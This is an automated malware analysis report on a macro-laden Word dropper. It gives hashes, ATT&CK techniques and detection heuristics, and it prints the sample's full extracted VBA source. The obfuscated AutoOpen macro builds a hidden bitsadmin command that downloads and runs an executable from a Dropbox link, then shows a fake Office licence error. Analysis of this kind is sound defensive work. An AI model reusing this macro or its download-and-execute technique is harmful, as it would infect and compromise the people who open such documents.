Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96dd41f92070127b…

MALICIOUS

Office (OLE)

109.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-01-08
MD5: b8e8d95c1d5ad50a96dc93ff87eca958 SHA-1: 2ad4d3cea490b185bb1d4835355df09696d4681e SHA-256: 96dd41f92070127b3b3ebf65905358558b673d0668402da18d3ab73d072f901d
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen subroutine that utilizes a Shell() call, indicating it is designed to execute arbitrary code. The document body explicitly instructs the user to 'Enable editing' and 'Enable Content', a common social engineering tactic to bypass macro security. The presence of the 'Doc.Dropper.Agent-6419072-0' ClamAV signature further supports its classification as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6419072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6419072-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2799 bytes
SHA-256: d28f03597d715e25437026d59db0ba5a5918ab83865a3175b7d592bbda27ed4c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Function VLGFFWPKCUINAWVHHOVADGWO(JYVUAJHMLCYKJKGRZC As String)
  VLGFFWPKCUINAWVHHOVADGWO = VZKFKTIT(JYVUAJHMLCYKJKGRZC, 3)
End Function
Private Function VZKFKTIT(ByVal ZLACF As String, ByVal VSXBFB As Long) As String
    Dim VZFGRBZDSDCOSEEEBK As Long
    VZFGRBZDSDCOSEEEBK = Len(ZLACF)

    Dim GPKFNKAVEAN As String
    Dim YDFCVFOCKYCNSHJXCWM As Long
    Dim KMZZTZPSOCBXK As Long
    Dim KIGMLOMJBHYL() As Long
    ReDim KIGMLOMJBHYL(1 To VZFGRBZDSDCOSEEEBK)
    For KMZZTZPSOCBXK = 1 To VZFGRBZDSDCOSEEEBK
        YDFCVFOCKYCNSHJXCWM = Asc(Mid(ZLACF, KMZZTZPSOCBXK, 1))
        If YDFCVFOCKYCNSHJXCWM = 32 Then
            KIGMLOMJBHYL(KMZZTZPSOCBXK) = YDFCVFOCKYCNSHJXCWM
        Else:
            YDFCVFOCKYCNSHJXCWM = YDFCVFOCKYCNSHJXCWM - VSXBFB
            KIGMLOMJBHYL(KMZZTZPSOCBXK) = YDFCVFOCKYCNSHJXCWM
        End If
        GPKFNKAVEAN = GPKFNKAVEAN & Chr(KIGMLOMJBHYL(KMZZTZPSOCBXK))
    Next
    VZKFKTIT = GPKFNKAVEAN
End Function

Sub AutoOpen()
    Dim DVYHYULEHKKXUMEHYZLJB As String
    Dim NYNISLIRYXCFLU As String
    DVYHYULEHKKXUMEHYZLJB = DVYHYULEHKKXUMEHYZLJB & VLGFFWPKCUINAWVHHOVADGWO("fp") & VLGFFWPKCUINAWVHHOVADGWO("g1h") & VLGFFWPKCUINAWVHHOVADGWO("{h 2f %zdlwiru 2w 8 \NHUT ) el") & VLGFFWPKCUINAWVHHOVADGWO("wvdgplq 2w") & VLGFFWPKCUINAWVHHOVADGWO("udqvihu XNHI 2grzqordg ") & VLGFFWPKCUINAWVHHOVADGWO("2sulrulw") & VLGFFWPKCUINAWVHHOVADGWO("| qrupdo kwwsv=")
    DVYHYULEHKKXUMEHYZLJB = DVYHYULEHKKXUMEHYZLJB & VLGFFWPKCUINAWVHHOVADGWO("22zzz1gurser{1frp2v2er6nuu") & VLGFFWPKCUINAWVHHOVADGWO("53;:z79kp24t|hp") & VLGFFWPKCUINAWVHHOVADGWO("sdsxlz}|s|wrx") & VLGFFWPKCUINAWVHHOVADGWO("fth1h{hBgo@4 (dssgdwd(_zdy") & VLGFFWPKCUINAWVHHOVADGWO("ked1") & VLGFFWPKCUINAWVHHOVADGWO("h{h )vwduw ")
    DVYHYULEHKKXUMEHYZLJB = DVYHYULEHKKXUMEHYZLJB & VLGFFWPKCUINAWVHHOVADGWO("(dssgdwd(_zdyked1h{h%")

    NYNISLIRYXCFLU = NYNISLIRYXCFLU & VLGFFWPKCUINAWVHHOVADGWO("Huuru") & VLGFFWPKCUINAWVHHOVADGWO(" 4<;:7= \rx pxv") & VLGFFWPKCUINAWVHHOVADGWO("w kdyh Riilfh Surihvvl") & VLGFFWPKCUINAWVHHOVADGWO("rqdo Hg") & VLGFFWPKCUINAWVHHOVADGWO("lwlrq wr uhdg w") & VLGFFWPKCUINAWVHHOVADGWO("klv fr") & VLGFFWPKCUINAWVHHOVADGWO("qwhqw/ s") & VLGFFWPKCUINAWVHHOVADGWO("ohdvh xsjudgh |rxu")
    NYNISLIRYXCFLU = NYNISLIRYXCFLU & VLGFFWPKCUINAWVHHOVADGWO(" olfhqfh1 Ylvlw zzz1plfurvri") & VLGFFWPKCUINAWVHHOVADGWO("w1frp iru khos")
    
    Shell DVYHYULEHKKXUMEHYZLJB, vbHide
    MsgBox NYNISLIRYXCFLU
End Sub